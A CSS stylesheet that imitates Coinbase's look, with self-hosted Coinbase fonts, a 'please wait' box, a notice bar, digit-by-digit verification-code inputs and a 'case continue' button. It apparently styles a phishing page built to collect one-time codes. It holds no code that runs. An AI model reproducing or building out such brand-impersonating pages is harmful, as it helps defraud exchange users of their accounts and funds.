@font-face {
    font-family: coinbasesans;
    src: url(/cbfont/Coinbase_Sans-Regular-web-1.32.woff2);
}
@font-face {
    font-family: coinbasesansmedium;
    src: url(/cbfont/Coinbase_Sans-Medium-web-1.32.woff2);
}
@font-face {
    font-family: coinbasedisplay;
    src: url(/cbfont/Coinbase_Display-Medium-web-1.32.woff2);
}
@font-face {
    font-family: coinbasetext;
    src: url(/cbfont/Coinbase_Text-Regular-web-1.32.woff2);
}


*::-webkit-scrollbar {
    display: none;
  }

* { 
    list-style: none;
    box-sizing: border-box;
    color: white;
}

*:focus {
    outline: none;
}

html {
    height: 100%;
}

body {
    background-color: #0a0b0d;
    margin: 0px;
    padding: 0px;
    min-height: 100vh;
    display: flex;
    flex-direction: column;
}

header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    height: 72px;
}

.cbicon {
    padding-left: 24px;
    padding-right: 24px;
    display:flex;
}

main {
    flex: 1;
}

.middle {
    flex-grow: 0;
    width: 100%;
    padding-top: 100px;
    padding-bottom: 8px;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
}

.formbox {
    flex-grow: 1;
    height: 100%;
    max-width: 350px;
    width: 100%;
    padding: 32px;
    border-radius: 16px;
    border: 1px solid #8a919e33;
}

#pleasewait {
    font-size: 20px;
    line-height: 20px;
    margin-top: 4px;
    margin-bottom: 4px;
    font-family: coinbasesansmedium;
}

.formboxinside {
    width: 100%;
    display: flex;
    flex-direction: column;
    gap: 16px;
}

.notice-bar {
    background-color: rgb(0, 82, 254);
    font-size: 14px;
    text-align: center;
    padding: 8px;
    font-family: coinbasesansmedium;
}

.waitbottomtext {
    display: flex;
    flex-direction: column;
    gap: 16px;
}

#waitbottomtext1 {
    color: rgb(186, 184, 195);
    font-size: 14px;
    font-family: coinbasesans;
}
#waitbottomtext2 {
    color: rgb(186, 184, 195);
    font-size: 14px;
    font-family: coinbasesans;
}

#pptop {
    color: rgb(116, 171, 255);
}

#cbtitle {
    font-size: 26px;
    line-height: 36px;
    font-family: coinbasedisplay;
}

.inputs {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
}

.codeinput {
    width: 40px;
    height: 40px;
    background-color: rgba(240, 248, 255, 0);
    border: 1px solid #8a919e7c;
    border-radius: 8px;
    font-size: 28px;
    text-align: center;
    cursor: not-allowed;
    pointer-events: none;
    font-family: coinbasesans;
}

.codeinput:nth-child(1) {
    cursor: pointer;
    pointer-events: all;
}

.codeinput:focus {
    outline: none;
    border: 2px solid rgb(87,139,250);
}

#casecontinue {
    display: flex;
    align-items: center;
    justify-content: center;
    height: 56px;
    border-radius: 56px;
    background-color: #578bfa;
    border: none;
    cursor: pointer;
    font-size: 16px;
    line-height: 24px;
    color: #0a0b0d;
    margin-top: 4px;
    width: 100%;
    font-family: coinbasesansmedium;
}

#casecontinue:hover {
    background-color: #507fe5;
    opacity: 0.91;
}

#casecontinue:active {
    background-color: #4b78d6;
    opacity: 0.85;
    transform: scale(0.98);
}

#casecontinue:disabled {
    background-color: #314b84;
    pointer-events: none;
}

.continue-text {
    color: #0a0b0d;
    font-size: 16px;
    font-family: coinbasesansmedium;
    display: inline-block;
}

.btn-spinner {
    display: none;
    width: 24px;
    height: 24px;
    border: 2px solid #0a0b0d04;
    border-top-color: #0a0b0d;
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin-left: 6px;
}
  
.loading .continue-text {
    display: none;
}
  
.loading .btn-spinner {
    display: inline-block;
}

.loading {
    pointer-events: none;
}
  
@keyframes spin {
    to { transform: rotate(360deg); }
}

@media (max-width: 560px) {
    .formbox {
        flex-grow: 1;
        height: 100%;
        max-width: 448px;
        width: 100%;
        padding: 32px;
        border-radius: 0px;
        border: 0px;
    }
    .middle {
        flex-grow: 0;
        width: 100%;
        padding-top: 20px;
        padding-bottom: 8px;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
    }
}